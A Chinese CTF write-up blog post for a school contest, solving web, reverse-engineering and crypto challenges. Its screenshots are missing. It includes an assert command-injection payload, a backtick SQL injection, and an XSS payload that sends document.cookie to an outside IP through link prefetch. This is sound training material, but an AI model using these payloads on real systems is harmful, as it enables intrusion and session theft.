某校选拔赛

来源:互联网 发布:git ssh eclipse 端口 编辑:程序博客网 时间:2024/05/21 05:06

web

admin

首先扫描,发现目录
这里写图片描述

访问发现flag不对,抓包,修改一下cookie即可
这里写图片描述

babyphp

查看源码得到hint
这里写图片描述

然后这题又有.git泄露
这里写图片描述

发现有个过滤,这题就是只要绕过,然后执行访问目录即可,开始构造
'.xxx.'
这样大概在里面是
$file="templates/".''.xxx.''.".php"

assert("strpos('templates/'.xxx.'.php') ===

这里写图片描述

发现可以找到,但没有办法查看,那如果我闭合前半部分,单独执行sys命令呢
','..') === False and system('');//
payload:
','..')===False and system('cat templates/flag.php');//
这里写图片描述

flag:61dctf{8e_careful_when_us1ng_ass4rt}

inject

一开始没有其他目录,那就尝试一下备份
.index.php.swp发现源码

<?phprequire("config.php");$table = $_GET['table']?$_GET['table']:"test";$table = Filter($table);mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker();$sql = "select 'flag{xxx}' from secret_{$table}";$ret = sql_query($sql);echo $ret[0];?>

发现我如果输入任何数,都会hack!,猜测是Hacker()报错的,而过滤函数只起到过滤不报错的作用,那就下来就必须让那个链接语句成功
由于是反引号,尝试用反引号闭合试试
这里写图片描述

发现是完全可以的
然后直接构造语句试试
这里写图片描述

成功,但是不是1,看来有可能是顺序问题,利用limit
这里写图片描述

表名
这里写图片描述

列名
这里写图片描述

flag到手
这里写图片描述

babyxss

首先是验证码的碰撞,直接脚本

import randomimport stringimport hashlibdef md5(str):    m = hashlib.md5()    m.update(str)    return m.hexdigest()i = 0while 1:    i +=1    #print i    string = ''    s = string.join(random.sample('qwertyuiopasdfghjklzxcvbnm1234567890',4))    if md5(s)[0:4] == '82ac':        print s        break 

接下来就是xss的过程,不过有csp机制
这里写图片描述

由于CSP对link标签的预加载功能考虑不完善,先是构造一个
这里写图片描述

收到了,虽然什么也没有,访问一下
这里写图片描述

发现写入页面里了,当时忽略了这点,结果总是找不到好的方法去控制,想了好久好久,就是不能过
不过后来有了提示,寻找可控点,联想得到的referer页面的可写入
这里写图片描述

单纯的发送并利用src去访问,结果发现不执行,由于有了link以后,下面的就失去了作用,看来需要让link解析但最后的php又不执行,尝试注释,发现成功
这里写图片描述

这里写图片描述

这里写图片描述

payload:
首先提交这个

var n0t = document.createElement("link");    n0t.setAttribute("rel", "prefetch");    n0t.setAttribute("href", "http://45.32.67.217/XSS/?a=" + String(document.cookie));    document.head.appendChild(n0t);//<link rel="prefetch" href="http://xxx/XSS/?c=[cookie]">

然后根据返回的referer再提交

<script src="http://39.108.192.25:5004/4dmIn.php?id=xxxxx"></script>

然后静等返回flag

RE

androidea

利用jeb分析
这里写图片描述

脚本

a= [113, 123, 118, 112, 108, 94, 99, 72, 38, 68, 72, 87, 89, 72, 36, 118, 100,78, 72, 87, 121, 83, 101, 39, 62, 94, 62, 38, 107, 115, 106]f=''for i in a:    f+= chr(i^23)print f

得到
这里写图片描述

stheasy

反编译
这里写图片描述

是两串字符
这里写图片描述

整理一下,payload

s ='1k2j9Gh}AgfY4ds-a6QW1#k5ER_T[cvLbV7nOm3ZeX{CMt8SZo]U'a = ['48','5D','8D','24','84','27','99','9F','54','18','1E','69','7E','33','15','72','8D','33','24','63','21','54','0C','78','78','78','78','78','1B']f = ''for i in range(29):    print int(a[i],16)/3    f += s[int(a[i],16)/3 -2]print f

这里写图片描述

Crypto

bbencode

打开看见加密脚本

flag = open("flag", "r").read().strip()assert len(flag) == 32def str2num(s):    return int(s.encode('hex'), 16)def bbencode(n):    a = 0    for i in bin(n)[2:]:        a = a << 1        if (int(i)):            a = a ^ n        if a >> 256:            a = a ^ 0x10000000000000000000000000000000000000000000000000000000000000223L    return aprint bbencode(str2num(flag))

这个跟0ctf的OneTimePad1比较像,不过简单了许多,这个算法只要将加密的密文按着加密脚本重复下去,就能得到flag,不过数学不是很好,所以不怎么知道需要轮询多少遍,去了个巧,猜测flag格式是flag{},这样我直接比对flag的16进制是否匹配即可

def bbencode(n):    a = 0    for i in bin(n)[2:]:        a = a << 1        if (int(i)):            a = a ^ n        if a >> 256:            a = a ^ 0x10000000000000000000000000000000000000000000000000000000000000223L    return aflag = 61406787709715709430385495960238216763226399960658358000016620560764164045692for i in range(10000000):    flag = bbencode(flag)    if '666c6167' == str(hex(flag))[2:10]:        print i        print hex(flag)[2:-1].decode('hex')

这里写图片描述

发现还能得到好多,不过还不是很明白到底要重复多少次,似乎跟数论有关

rsappend

这个看下脚本

flag = open("flag", "r").read().strip()assert len(flag) == 32import primefacimport randomfrom os import urandomdef genprime(l):    l/=8    big=1    while(l):        big=big<<8        l-=1    big-=1    small=(big+1)>>4    temp=random.randint(small,big)    return primefac.nextprime(temp)#genprime(2048)    def str2num(s):    return int(s.encode('hex'), 16)def padding(s):    return s+urandom(abs(256-len(s)))def rsappend(m):    p = genprime(2048)    q = genprime(2048)    n = p * q    result=[str(n)+"\n"]    pm=padding(flag)    for i in range(32):        e=genprime(32)        c=pow(str2num(pm),e,n)        result.append(str(e)+"###"+str(c)+"\n")    return "".join(result)open("result","w").write(rsappend(flag))

定义的那些函数根本不用看,反正主体不在那,看主体,会发现先将flag填充很多随机字符,然后会发现又随机生成c,e,然后他居然循环32次,让我一直坑在数量上
这里写图片描述

这么多数据,我一直以为是全部数据都要处理,却发现只要两个组成共模攻击即可,反正其他的数据是用来处理后面的填充字段的。。。郁闷
脚本

#coding=utf-8 import sysdef egcd(a, b):     if a == 0:         return (b, 0, 1)     else:         g, y, x = egcd(b % a, a)         return (g, x - (b // a) * y, y) def modinv(a, m):     g, x, y = egcd(a, m)     if g != 1:         raise Exception('modular inverse does not exist')     else:         return x % m def main():    n = 130129008900473203968454456805638875182255844172836031362469765750555629223299054613072677100571707156698316733582683118539756860001556017029333867329591302318262912728008327902112481960175532302595162289611406978353816368008691640641366763939266242207191229240305820321249712345088877729541037319788659353057396178127928848886417880913823432701577855911982710310391664759040416918636673098245499680559140960154217578440590540485803953844560093151975252604098243460784073934982164384904788470380402066708313893480356219937915540825156266934523595689350157227336528136089157698775968997579723271988825396396444999743016035145444220925369592263295741687879468786947998534483539986779457827253891091252408156073413533385415338751818544323853074296042153599429749378847870780593975579477549218822682233583377677693108437331184962345568217859524495625257015837972947971787321584159575618388588687948368216479955807108888453821700067186732627409832722329355336479016104249514839541606562090752437124270651936485389358065775555250883907067083447197860848471728871909151915883316674512739238840179296263390441457949281128267215916340163366686542160467601357340644950755337706786366316621293666173843528346692669268972961669116101104865152273    e1 = 3493354673    e2 = 340864687    c1 = 95302089605615051645253770338205531172677353498946580682786822045513597212422921981567826452072575982096979591435896082106066368909398510427324124083956090397824543655853708684901332136907086372208856759943292176759073194584568350898675282883285945088425893961769183074018286761903249180704401358403273776903672507958464947244563165564687651203497198317095965140433811056890812018746508121991041040929574993486548175817290824525606551459788553765629416110310419007396912225733599205599864440826319234419035248234403040065378375700430311931418759746223148198205862641252459687694589780856855757703678024583642215076094232444641853081607984934672271461513190437757388818064739151861157236855430066735235471068167602037785718403200529481153399754491247323829122718485697100562237822159608309949585990842201041193231738706398444530233533281604482892716292766323711237917277799500317596333142843576977429802405873159965636003943698854699972663575602383960580472190300576561953143218321528070200681456278974433060654128626428761278953024384187213765974659768657721533448706022075747036347982370028705538843276631102928500802573434484354218539824751579164697748967608238067706842975984077663380114254296902060435479795741671231918448537178    c2 = 105918022590727868761989308441554006325741233318901416621101439141134508212362387984949614887131575960019253866892976283979646611794365370050551871112439674346802340152058463892106629344277362169322187627579360245792142005899616101515519718660483000821415412306495286717542069436530262341500852884860324349096274655178057271529986597578695272732947460673640986877589225588415523871081101162696385279491410034057376225511693022693861779342120101749193614060384925056132593068290214170342896671210026723193650534803792328917982049779674425511275821311773130342656939142955431868128759911406827872932920704284125816103225607727270365652734742083302757644298457617564597237089509337896240249999242834787525341715546373108420197569425092674224333823552432226153066667988737348643469923827028254712179077001007265954488404167147591307425224250970874724864947175449960116685682348915647317191880538777148647712260093008241728509225817352093441924045801257015598517963598799676359095235231066752986688784477694024390356904157694178691411759003004184256950519184836209393583431328640341243629167223114681734264945594931213193459079614652400888215324779908031661350565230685273639666615465296133672907093946148188967451042301308884510424218096    s = egcd(e1, e2)     s1 = s[1]     s2 = s[2]     # 求模反元素     if s1<0:         s1 = - s1         c1 = modinv(c1, n)     elif s2<0:         s2 = - s2         c2 = modinv(c2, n)    #m = (c1**s1)*(c2**s2)%n     m = (pow(c1,s1,n)*pow(c2,s2,n))%n  #效率较高    print m if __name__ == '__main__':     sys.setrecursionlimit(1000000)     main()

这里写图片描述

转化成hex
这里写图片描述

转化成字符
这里写图片描述

原创粉丝点击